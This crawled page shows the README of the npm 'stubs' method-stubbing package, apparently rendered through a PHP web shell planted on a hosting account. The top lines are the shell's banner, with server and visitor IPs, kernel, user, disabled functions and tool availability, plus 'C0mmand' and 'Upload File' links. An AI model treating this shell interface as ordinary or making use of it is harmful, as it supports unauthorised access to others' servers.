Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/stubs/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
# stubs > It's a simple stubber. ## About For when you don't want to write the same thing over and over to cache a method and call an override, then revert it, and blah blah. ## Use ```sh $ npm install --save-dev stubs ``` ```js var mylib = require('./lib/index.js') var stubs = require('stubs') // make it a noop stubs(mylib, 'create') // stub it out stubs(mylib, 'create', function() { // calls this instead }) // stub it out, but call the original first stubs(mylib, 'create', { callthrough: true }, function() { // call original method, then call this }) // use the stub for a while, then revert stubs(mylib, 'create', { calls: 3 }, function() { // call this 3 times, then use the original method }) ``` ## API ### stubs(object, method[[, opts], stub]) #### object - Type: Object #### method - Type: String Name of the method to stub. #### opts - (optional) - Type: Object ##### opts.callthrough - (optional) - Type: Boolean - Default: `false` Call the original method as well as the stub (if a stub is provided). ##### opts.calls - (optional) - Type: Number - Default: `0` (never revert) Number of calls to allow the stub to receive until reverting to the original. #### stub - (optional) - Type: Function - Default: `function() {}` This method is called in place of the original method. If `opts.callthrough` is `true`, this method is called *after* the original method is called as well.